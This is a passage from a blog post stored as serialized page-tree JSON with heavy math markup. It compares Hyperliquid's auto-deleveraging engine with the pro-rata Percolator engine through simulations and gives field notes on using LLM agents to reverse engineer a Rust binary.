"children":165626},{"className":165625},[5642,5643],[165627],{"type":24,"tag":158,"props":165628,"children":165630},{"className":165629},[5648],[165631],{"type":24,"tag":158,"props":165632,"children":165634},{"className":165633,"ariaHidden":3185},[5653],[165635,165713],{"type":24,"tag":158,"props":165636,"children":165638},{"className":165637},[5658],[165639,165643,165700,165704,165709],{"type":24,"tag":158,"props":165640,"children":165642},{"className":165641,"style":143604},[5663],[],{"type":24,"tag":158,"props":165644,"children":165646},{"className":165645},[5669],[165647,165652],{"type":24,"tag":158,"props":165648,"children":165650},{"className":165649},[5669,22832],[165651],{"type":29,"value":85623},{"type":24,"tag":158,"props":165653,"children":165655},{"className":165654},[5686],[165656],{"type":24,"tag":158,"props":165657,"children":165659},{"className":165658},[5691,22886],[165660,165689],{"type":24,"tag":158,"props":165661,"children":165663},{"className":165662},[5696],[165664,165684],{"type":24,"tag":158,"props":165665,"children":165667},{"className":165666,"style":94854},[5701],[165668],{"type":24,"tag":158,"props":165669,"children":165670},{"style":94381},[165671,165675],{"type":24,"tag":158,"props":165672,"children":165674},{"className":165673,"style":5711},[5710],[],{"type":24,"tag":158,"props":165676,"children":165678},{"className":165677},[5716,5717,5718,5719],[165679],{"type":24,"tag":158,"props":165680,"children":165682},{"className":165681},[5669,22832,5719],[165683],{"type":29,"value":1832},{"type":24,"tag":158,"props":165685,"children":165687},{"className":165686},[22989],[165688],{"type":29,"value":22992},{"type":24,"tag":158,"props":165690,"children":165692},{"className":165691},[5696],[165693],{"type":24,"tag":158,"props":165694,"children":165696},{"className":165695,"style":94408},[5701],[165697],{"type":24,"tag":158,"props":165698,"children":165699},{},[],{"type":24,"tag":158,"props":165701,"children":165703},{"className":165702,"style":5848},[5750],[],{"type":24,"tag":158,"props":165705,"children":165707},{"className":165706},[5853],[165708],{"type":29,"value":1285},{"type":24,"tag":158,"props":165710,"children":165712},{"className":165711,"style":5848},[5750],[],{"type":24,"tag":158,"props":165714,"children":165716},{"className":165715},[5658],[165717,165721,165778,165783],{"type":24,"tag":158,"props":165718,"children":165720},{"className":165719,"style":5771},[5663],[],{"type":24,"tag":158,"props":165722,"children":165724},{"className":165723},[5669],[165725,165730],{"type":24,"tag":158,"props":165726,"children":165728},{"className":165727},[5669,22832],[165729],{"type":29,"value":20518},{"type":24,"tag":158,"props":165731,"children":165733},{"className":165732},[5686],[165734],{"type":24,"tag":158,"props":165735,"children":165737},{"className":165736},[5691,22886],[165738,165767],{"type":24,"tag":158,"props":165739,"children":165741},{"className":165740},[5696],[165742,165762],{"type":24,"tag":158,"props":165743,"children":165745},{"className":165744,"style":94854},[5701],[165746],{"type":24,"tag":158,"props":165747,"children":165748},{"style":94381},[165749,165753],{"type":24,"tag":158,"props":165750,"children":165752},{"className":165751,"style":5711},[5710],[],{"type":24,"tag":158,"props":165754,"children":165756},{"className":165755},[5716,5717,5718,5719],[165757],{"type":24,"tag":158,"props":165758,"children":165760},{"className":165759},[5669,22832,5719],[165761],{"type":29,"value":1832},{"type":24,"tag":158,"props":165763,"children":165765},{"className":165764},[22989],[165766],{"type":29,"value":22992},{"type":24,"tag":158,"props":165768,"children":165770},{"className":165769},[5696],[165771],{"type":24,"tag":158,"props":165772,"children":165774},{"className":165773,"style":94408},[5701],[165775],{"type":24,"tag":158,"props":165776,"children":165777},{},[],{"type":24,"tag":158,"props":165779,"children":165781},{"className":165780},[5669],[165782],{"type":29,"value":6238},{"type":24,"tag":158,"props":165784,"children":165786},{"className":165785},[5669],[165787,165792],{"type":24,"tag":158,"props":165788,"children":165790},{"className":165789,"style":123605},[5669,22832],[165791],{"type":29,"value":50843},{"type":24,"tag":158,"props":165793,"children":165795},{"className":165794},[5686],[165796],{"type":24,"tag":158,"props":165797,"children":165799},{"className":165798},[5691,22886],[165800,165829],{"type":24,"tag":158,"props":165801,"children":165803},{"className":165802},[5696],[165804,165824],{"type":24,"tag":158,"props":165805,"children":165807},{"className":165806,"style":94854},[5701],[165808],{"type":24,"tag":158,"props":165809,"children":165810},{"style":162553},[165811,165815],{"type":24,"tag":158,"props":165812,"children":165814},{"className":165813,"style":5711},[5710],[],{"type":24,"tag":158,"props":165816,"children":165818},{"className":165817},[5716,5717,5718,5719],[165819],{"type":24,"tag":158,"props":165820,"children":165822},{"className":165821},[5669,22832,5719],[165823],{"type":29,"value":1832},{"type":24,"tag":158,"props":165825,"children":165827},{"className":165826},[22989],[165828],{"type":29,"value":22992},{"type":24,"tag":158,"props":165830,"children":165832},{"className":165831},[5696],[165833],{"type":24,"tag":158,"props":165834,"children":165836},{"className":165835,"style":94408},[5701],[165837],{"type":24,"tag":158,"props":165838,"children":165839},{},[],{"type":29,"value":165841}," for each winner with ",{"type":24,"tag":154,"props":165843,"children":165845},{"className":165844},[5642,5643],[165846],{"type":24,"tag":158,"props":165847,"children":165849},{"className":165848},[5648],[165850],{"type":24,"tag":158,"props":165851,"children":165853},{"className":165852,"ariaHidden":3185},[5653],[165854,165933],{"type":24,"tag":158,"props":165855,"children":165857},{"className":165856},[5658],[165858,165863,165920,165924,165929],{"type":24,"tag":158,"props":165859,"children":165862},{"className":165860,"style":165861},[5663],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":165864,"children":165866},{"className":165865},[5669],[165867,165872],{"type":24,"tag":158,"props":165868,"children":165870},{"className":165869,"style":123605},[5669,22832],[165871],{"type":29,"value":50843},{"type":24,"tag":158,"props":165873,"children":165875},{"className":165874},[5686],[165876],{"type":24,"tag":158,"props":165877,"children":165879},{"className":165878},[5691,22886],[165880,165909],{"type":24,"tag":158,"props":165881,"children":165883},{"className":165882},[5696],[165884,165904],{"type":24,"tag":158,"props":165885,"children":165887},{"className":165886,"style":94854},[5701],[165888],{"type":24,"tag":158,"props":165889,"children":165890},{"style":162553},[165891,165895],{"type":24,"tag":158,"props":165892,"children":165894},{"className":165893,"style":5711},[5710],[],{"type":24,"tag":158,"props":165896,"children":165898},{"className":165897},[5716,5717,5718,5719],[165899],{"type":24,"tag":158,"props":165900,"children":165902},{"className":165901},[5669,22832,5719],[165903],{"type":29,"value":1832},{"type":24,"tag":158,"props":165905,"children":165907},{"className":165906},[22989],[165908],{"type":29,"value":22992},{"type":24,"tag":158,"props":165910,"children":165912},{"className":165911},[5696],[165913],{"type":24,"tag":158,"props":165914,"children":165916},{"className":165915,"style":94408},[5701],[165917],{"type":24,"tag":158,"props":165918,"children":165919},{},[],{"type":24,"tag":158,"props":165921,"children":165923},{"className":165922,"style":5848},[5750],[],{"type":24,"tag":158,"props":165925,"children":165927},{"className":165926},[5853],[165928],{"type":29,"value":1280},{"type":24,"tag":158,"props":165930,"children":165932},{"className":165931,"style":5848},[5750],[],{"type":24,"tag":158,"props":165934,"children":165936},{"className":165935},[5658],[165937,165941],{"type":24,"tag":158,"props":165938,"children":165940},{"className":165939,"style":95356},[5663],[],{"type":24,"tag":158,"props":165942,"children":165944},{"className":165943},[5669],[165945],{"type":29,"value":5682},{"type":29,"value":165947}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":154,"props":165949,"children":165951},{"className":165950},[5642,5643],[165952],{"type":24,"tag":158,"props":165953,"children":165955},{"className":165954},[5648],[165956],{"type":24,"tag":158,"props":165957,"children":165959},{"className":165958,"ariaHidden":3185},[5653],[165960,165986],{"type":24,"tag":158,"props":165961,"children":165963},{"className":165962},[5658],[165964,165968,165973,165977,165982],{"type":24,"tag":158,"props":165965,"children":165967},{"className":165966,"style":22827},[5663],[],{"type":24,"tag":158,"props":165969,"children":165971},{"className":165970,"style":22833},[5669,22832],[165972],{"type":29,"value":123103},{"type":24,"tag":158,"props":165974,"children":165976},{"className":165975,"style":5848},[5750],[],{"type":24,"tag":158,"props":165978,"children":165980},{"className":165979},[5853],[165981],{"type":29,"value":1285},{"type":24,"tag":158,"props":165983,"children":165985},{"className":165984,"style":5848},[5750],[],{"type":24,"tag":158,"props":165987,"children":165989},{"className":165988},[5658],[165990,165994],{"type":24,"tag":158,"props":165991,"children":165993},{"className":165992,"style":95356},[5663],[],{"type":24,"tag":158,"props":165995,"children":165997},{"className":165996},[5669],[165998],{"type":29,"value":5672},{"type":29,"value":166000}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":154,"props":166002,"children":166004},{"className":166003},[5642,5643],[166005],{"type":24,"tag":158,"props":166006,"children":166008},{"className":166007},[5648],[166009],{"type":24,"tag":158,"props":166010,"children":166012},{"className":166011,"ariaHidden":3185},[5653],[166013,166040],{"type":24,"tag":158,"props":166014,"children":166016},{"className":166015},[5658],[166017,166021,166026,166030,166036],{"type":24,"tag":158,"props":166018,"children":166020},{"className":166019,"style":22827},[5663],[],{"type":24,"tag":158,"props":166022,"children":166024},{"className":166023,"style":22833},[5669,22832],[166025],{"type":29,"value":123103},{"type":24,"tag":158,"props":166027,"children":166029},{"className":166028,"style":5848},[5750],[],{"type":24,"tag":158,"props":166031,"children":166033},{"className":166032},[5853],[166034],{"type":29,"value":166035},"≈",{"type":24,"tag":158,"props":166037,"children":166039},{"className":166038,"style":5848},[5750],[],{"type":24,"tag":158,"props":166041,"children":166043},{"className":166042},[5658],[166044,166048],{"type":24,"tag":158,"props":166045,"children":166047},{"className":166046,"style":95356},[5663],[],{"type":24,"tag":158,"props":166049,"children":166051},{"className":166050},[5669],[166052],{"type":29,"value":5682},{"type":29,"value":166054}," means a few get wiped while most are untouched.",{"type":24,"tag":1790,"props":166056,"children":166057},{},[166058,166062,166063,166221,166223,166317,166319],{"type":24,"tag":32,"props":166059,"children":166060},{},[166061],{"type":29,"value":162157},{"type":29,"value":34173},{"type":24,"tag":154,"props":166064,"children":166066},{"className":166065},[5642,5643],[166067],{"type":24,"tag":158,"props":166068,"children":166070},{"className":166069},[5648],[166071],{"type":24,"tag":158,"props":166072,"children":166074},{"className":166073,"ariaHidden":3185},[5653],[166075],{"type":24,"tag":158,"props":166076,"children":166078},{"className":166077},[5658],[166079,166084,166159,166164],{"type":24,"tag":158,"props":166080,"children":166083},{"className":166081,"style":166082},[5663],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":158,"props":166085,"children":166087},{"className":166086},[5669],[166088,166093],{"type":24,"tag":158,"props":166089,"children":166091},{"className":166090,"style":96333},[5669,22832],[166092],{"type":29,"value":162882},{"type":24,"tag":158,"props":166094,"children":166096},{"className":166095},[5686],[166097],{"type":24,"tag":158,"props":166098,"children":166100},{"className":166099},[5691,22886],[166101,166147],{"type":24,"tag":158,"props":166102,"children":166104},{"className":166103},[5696],[166105,166142],{"type":24,"tag":158,"props":166106,"children":166108},{"className":166107,"style":110042},[5701],[166109,166126],{"type":24,"tag":158,"props":166110,"children":166112},{"style":166111},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166113,166117],{"type":24,"tag":158,"props":166114,"children":166116},{"className":166115,"style":5711},[5710],[],{"type":24,"tag":158,"props":166118,"children":166120},{"className":166119},[5716,5717,5718,5719],[166121],{"type":24,"tag":158,"props":166122,"children":166124},{"className":166123,"style":22833},[5669,22832,5719],[166125],{"type":29,"value":7637},{"type":24,"tag":158,"props":166127,"children":166128},{"style":5705},[166129,166133],{"type":24,"tag":158,"props":166130,"children":166132},{"className":166131,"style":5711},[5710],[],{"type":24,"tag":158,"props":166134,"children":166136},{"className":166135},[5716,5717,5718,5719],[166137],{"type":24,"tag":158,"props":166138,"children":166140},{"className":166139,"style":94811},[5669,22832,5719],[166141],{"type":29,"value":162396},{"type":24,"tag":158,"props":166143,"children":166145},{"className":166144},[22989],[166146],{"type":29,"value":22992},{"type":24,"tag":158,"props":166148,"children":166150},{"className":166149},[5696],[166151],{"type":24,"tag":158,"props":166152,"children":166155},{"className":166153,"style":166154},[5701],"height:0.2753em;",[166156],{"type":24,"tag":158,"props":166157,"children":166158},{},[],{"type":24,"tag":158,"props":166160,"children":166162},{"className":166161},[5669],[166163],{"type":29,"value":6238},{"type":24,"tag":158,"props":166165,"children":166167},{"className":166166},[5669],[166168,166173],{"type":24,"tag":158,"props":166169,"children":166171},{"className":166170,"style":96333},[5669,22832],[166172],{"type":29,"value":162882},{"type":24,"tag":158,"props":166174,"children":166176},{"className":166175},[5686],[166177],{"type":24,"tag":158,"props":166178,"children":166180},{"className":166179},[5691,22886],[166181,166210],{"type":24,"tag":158,"props":166182,"children":166184},{"className":166183},[5696],[166185,166205],{"type":24,"tag":158,"props":166186,"children":166188},{"className":166187,"style":143880},[5701],[166189],{"type":24,"tag":158,"props":166190,"children":166191},{"style":162901},[166192,166196],{"type":24,"tag":158,"props":166193,"children":166195},{"className":166194,"style":5711},[5710],[],{"type":24,"tag":158,"props":166197,"children":166199},{"className":166198},[5716,5717,5718,5719],[166200],{"type":24,"tag":158,"props":166201,"children":166203},{"className":166202,"style":22833},[5669,22832,5719],[166204],{"type":29,"value":7637},{"type":24,"tag":158,"props":166206,"children":166208},{"className":166207},[22989],[166209],{"type":29,"value":22992},{"type":24,"tag":158,"props":166211,"children":166213},{"className":166212},[5696],[166214],{"type":24,"tag":158,"props":166215,"children":166217},{"className":166216,"style":94408},[5701],[166218],{"type":24,"tag":158,"props":166219,"children":166220},{},[],{"type":29,"value":166222}," — ",{"type":24,"tag":154,"props":166224,"children":166226},{"className":166225},[5642,5643],[166227],{"type":24,"tag":158,"props":166228,"children":166230},{"className":166229},[5648],[166231],{"type":24,"tag":158,"props":166232,"children":166234},{"className":166233,"ariaHidden":3185},[5653],[166235],{"type":24,"tag":158,"props":166236,"children":166238},{"className":166237},[5658],[166239,166244],{"type":24,"tag":158,"props":166240,"children":166243},{"className":166241,"style":166242},[5663],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":158,"props":166245,"children":166247},{"className":166246},[5669],[166248,166253],{"type":24,"tag":158,"props":166249,"children":166251},{"className":166250,"style":96333},[5669,22832],[166252],{"type":29,"value":162882},{"type":24,"tag":158,"props":166254,"children":166256},{"className":166255},[5686],[166257],{"type":24,"tag":158,"props":166258,"children":166260},{"className":166259},[5691,22886],[166261,166306],{"type":24,"tag":158,"props":166262,"children":166264},{"className":166263},[5696],[166265,166301],{"type":24,"tag":158,"props":166266,"children":166268},{"className":166267,"style":110042},[5701],[166269,166285],{"type":24,"tag":158,"props":166270,"children":166271},{"style":166111},[166272,166276],{"type":24,"tag":158,"props":166273,"children":166275},{"className":166274,"style":5711},[5710],[],{"type":24,"tag":158,"props":166277,"children":166279},{"className":166278},[5716,5717,5718,5719],[166280],{"type":24,"tag":158,"props":166281,"children":166283},{"className":166282,"style":22833},[5669,22832,5719],[166284],{"type":29,"value":7637},{"type":24,"tag":158,"props":166286,"children":166287},{"style":5705},[166288,166292],{"type":24,"tag":158,"props":166289,"children":166291},{"className":166290,"style":5711},[5710],[],{"type":24,"tag":158,"props":166293,"children":166295},{"className":166294},[5716,5717,5718,5719],[166296],{"type":24,"tag":158,"props":166297,"children":166299},{"className":166298,"style":94811},[5669,22832,5719],[166300],{"type":29,"value":162396},{"type":24,"tag":158,"props":166302,"children":166304},{"className":166303},[22989],[166305],{"type":29,"value":22992},{"type":24,"tag":158,"props":166307,"children":166309},{"className":166308},[5696],[166310],{"type":24,"tag":158,"props":166311,"children":166313},{"className":166312,"style":166154},[5701],[166314],{"type":24,"tag":158,"props":166315,"children":166316},{},[],{"type":29,"value":166318}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":154,"props":166320,"children":166322},{"className":166321},[5642,5643],[166323],{"type":24,"tag":158,"props":166324,"children":166326},{"className":166325},[5648],[166327],{"type":24,"tag":158,"props":166328,"children":166330},{"className":166329,"ariaHidden":3185},[5653],[166331],{"type":24,"tag":158,"props":166332,"children":166334},{"className":166333},[5658],[166335,166339],{"type":24,"tag":158,"props":166336,"children":166338},{"className":166337,"style":112166},[5663],[],{"type":24,"tag":158,"props":166340,"children":166342},{"className":166341,"style":94811},[5669,22832],[166343],{"type":29,"value":162396},{"type":24,"tag":25,"props":166345,"children":166346},{},[166347],{"type":29,"value":166348},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":166350,"props":166351,"children":166353},"git-hub-repo-link",{"url":166352},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":166355,"children":166356},{},[166357,166359,166364],{"type":29,"value":166358},"Given a fixed ",{"type":24,"tag":32,"props":166360,"children":166361},{},[166362],{"type":29,"value":166363},"a priori",{"type":29,"value":166365}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":166367,"children":166368},{},[166369,166371,166376,166378,166455],{"type":29,"value":166370},"One prediction that we can make is that Percolator is ",{"type":24,"tag":32,"props":166372,"children":166373},{},[166374],{"type":29,"value":166375},"perfectly fair",{"type":29,"value":166377}," according to this scoring: the ",{"type":24,"tag":154,"props":166379,"children":166381},{"className":166380},[5642,5643],[166382],{"type":24,"tag":158,"props":166383,"children":166385},{"className":166384},[5648],[166386],{"type":24,"tag":158,"props":166387,"children":166389},{"className":166388,"ariaHidden":3185},[5653],[166390],{"type":24,"tag":158,"props":166391,"children":166393},{"className":166392},[5658],[166394,166398],{"type":24,"tag":158,"props":166395,"children":166397},{"className":166396,"style":143604},[5663],[],{"type":24,"tag":158,"props":166399,"children":166401},{"className":166400},[5669],[166402,166407],{"type":24,"tag":158,"props":166403,"children":166405},{"className":166404},[5669,22832],[166406],{"type":29,"value":85623},{"type":24,"tag":158,"props":166408,"children":166410},{"className":166409},[5686],[166411],{"type":24,"tag":158,"props":166412,"children":166414},{"className":166413},[5691,22886],[166415,166444],{"type":24,"tag":158,"props":166416,"children":166418},{"className":166417},[5696],[166419,166439],{"type":24,"tag":158,"props":166420,"children":166422},{"className":166421,"style":94854},[5701],[166423],{"type":24,"tag":158,"props":166424,"children":166425},{"style":94381},[166426,166430],{"type":24,"tag":158,"props":166427,"children":166429},{"className":166428,"style":5711},[5710],[],{"type":24,"tag":158,"props":166431,"children":166433},{"className":166432},[5716,5717,5718,5719],[166434],{"type":24,"tag":158,"props":166435,"children":166437},{"className":166436},[5669,22832,5719],[166438],{"type":29,"value":1832},{"type":24,"tag":158,"props":166440,"children":166442},{"className":166441},[22989],[166443],{"type":29,"value":22992},{"type":24,"tag":158,"props":166445,"children":166447},{"className":166446},[5696],[166448],{"type":24,"tag":158,"props":166449,"children":166451},{"className":166450,"style":94408},[5701],[166452],{"type":24,"tag":158,"props":166453,"children":166454},{},[],{"type":29,"value":166456}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":166458,"children":166459},{},[166460,166462,166467],{"type":29,"value":166461},"We are ignoring the ",{"type":24,"tag":32,"props":166463,"children":166464},{},[166465],{"type":29,"value":166466},"a posteriori",{"type":29,"value":166468}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":166470,"children":166471},{},[166472],{"type":29,"value":166473},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":59,"props":166475,"children":166477},{"id":166476},"simulations",[166478],{"type":29,"value":166479},"Simulations",{"type":24,"tag":25,"props":166481,"children":166482},{},[166483],{"type":29,"value":166484},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":166486,"children":166487},{},[166488],{"type":24,"tag":84,"props":166489,"children":166492},{"alt":166490,"src":166491},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":166494,"children":166495},{},[166496],{"type":29,"value":166497},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":166499,"children":166500},{},[166501],{"type":24,"tag":84,"props":166502,"children":166505},{"alt":166503,"src":166504},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":395,"props":166507,"children":166509},{"id":166508},"percolator-is-more-optimistic",[166510],{"type":29,"value":166511},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":166513,"children":166514},{},[166515,166517,166522,166524,166529,166531,166537,166539,166544],{"type":29,"value":166516},"The key difference is what happens to positions. ADL ",{"type":24,"tag":32,"props":166518,"children":166519},{},[166520],{"type":29,"value":166521},"permanently closes",{"type":29,"value":166523}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":32,"props":166525,"children":166526},{},[166527],{"type":29,"value":166528},"withdraw",{"type":29,"value":166530},", but the position stays open. If conditions improve, ",{"type":24,"tag":154,"props":166532,"children":166534},{"className":166533},[],[166535],{"type":29,"value":166536},"Residual",{"type":29,"value":166538}," goes up, ",{"type":24,"tag":154,"props":166540,"children":166542},{"className":166541},[],[166543],{"type":29,"value":85623},{"type":29,"value":166545}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":166547,"children":166548},{},[166549,166551,166555],{"type":29,"value":166550},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":32,"props":166552,"children":166553},{},[166554],{"type":29,"value":21430},{"type":29,"value":166556}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":166558,"children":166559},{},[166560],{"type":24,"tag":84,"props":166561,"children":166564},{"alt":166562,"src":166563},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":59,"props":166566,"children":166568},{"id":166567},"some-points-to-be-made",[166569],{"type":29,"value":166570},"Some Points to Be Made",{"type":24,"tag":395,"props":166572,"children":166574},{"id":166573},"percolator-is-indifferent-to-leverage",[166575],{"type":29,"value":166576},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":166578,"children":166579},{},[166580],{"type":29,"value":166581},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":166583,"children":166584},{},[166585],{"type":24,"tag":84,"props":166586,"children":166589},{"alt":166587,"src":166588},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":395,"props":166591,"children":166593},{"id":166592},"fairness",[166594],{"type":29,"value":162147},{"type":24,"tag":25,"props":166596,"children":166597},{},[166598],{"type":29,"value":166599},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":166601,"children":166602},{},[166603],{"type":24,"tag":84,"props":166604,"children":166607},{"alt":166605,"src":166606},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":166609,"children":166610},{},[166611,166613,166618],{"type":29,"value":166612},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":154,"props":166614,"children":166616},{"className":166615},[],[166617],{"type":29,"value":160649},{"type":29,"value":166619}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":59,"props":166621,"children":166623},{"id":166622},"strengths-and-limitations-of-agents-for-reverse-engineering",[166624],{"type":29,"value":166625},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":166627,"children":166628},{},[166629],{"type":29,"value":166630},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":395,"props":166632,"children":166634},{"id":166633},"hooks",[166635],{"type":29,"value":166636},"Hooks",{"type":24,"tag":25,"props":166638,"children":166639},{},[166640,166642,166646],{"type":29,"value":166641},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":32,"props":166643,"children":166644},{},[166645],{"type":29,"value":166633},{"type":29,"value":166647},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":166649,"children":166650},{},[166651],{"type":29,"value":166652},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":395,"props":166654,"children":166656},{"id":166655},"scale",[166657],{"type":29,"value":166658},"Scale",{"type":24,"tag":25,"props":166660,"children":166661},{},[166662],{"type":29,"value":166663},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":166665,"children":166666},{},[166667],{"type":29,"value":166668},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":395,"props":166670,"children":166672},{"id":166671},"whats-next",[166673],{"type":29,"value":166674},"What's next?",{"type":24,"tag":25,"props":166676,"children":166677},{},[166678],{"type":29,"value":166679},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":166350,"props":166681,"children":166682},{"url":160310},[],{"type":24,"tag":25,"props":166684,"children":166685},{},[166686],{"type":29,"value":166687},"The analyzed binary can be found here:",{"type":24,"tag":160630,"props":166689,"children":166692},{"path":166690,"name":160234,"size":166691},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":395,"props":166694,"children":166696},{"id":166695},"closing-words",[166697],{"type":29,"value":166698},"Closing Words",{"type":24,"tag":25,"props":166700,"children":166701},{},[166702],{"type":29,"value":166703},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":166705,"children":166706},{},[166707,166709,166714],{"type":29,"value":166708},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":32,"props":166710,"children":166711},{},[166712],{"type":29,"value":166713},"manual",{"type":29,"value":166715}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":166717,"children":166718},{},[166719],{"type":29,"value":166720},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":166722,"children":166723},{},[166724],{"type":29,"value":166725},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":166727,"props":166728,"children":166729},"report-footnotes",{},[166730],{"type":24,"tag":1786,"props":166731,"children":166732},{},[166733,166738,166765,166770,166775],{"type":24,"tag":1790,"props":166734,"children":166735},{},[166736],{"type":29,"value":166737},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":1790,"props":166739,"children":166740},{},[166741,166747,166749,166755,166757,166763],{"type":24,"tag":154,"props":166742,"children":166744},{"className":166743},[],[166745],{"type":29,"value":166746},"compute_user_margin_and_shortfall",{"type":29,"value":166748}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":154,"props":166750,"children":166752},{"className":166751},[],[166753],{"type":29,"value":166754},"0x748",{"type":29,"value":166756}," in the abstract expressions of ",{"type":24,"tag":154,"props":166758,"children":166760},{"className":166759},[],[166761],{"type":29,"value":166762},"btree_cursor",{"type":29,"value":166764},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":1790,"props":166766,"children":166767},{},[166768],{"type":29,"value":166769},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":1790,"props":166771,"children":166772},{},[166773],{"type":29,"value":166774},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":1790,"props":166776,"children":166777},{},[166778,166780,166786],{"type":29,"value":166779},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: 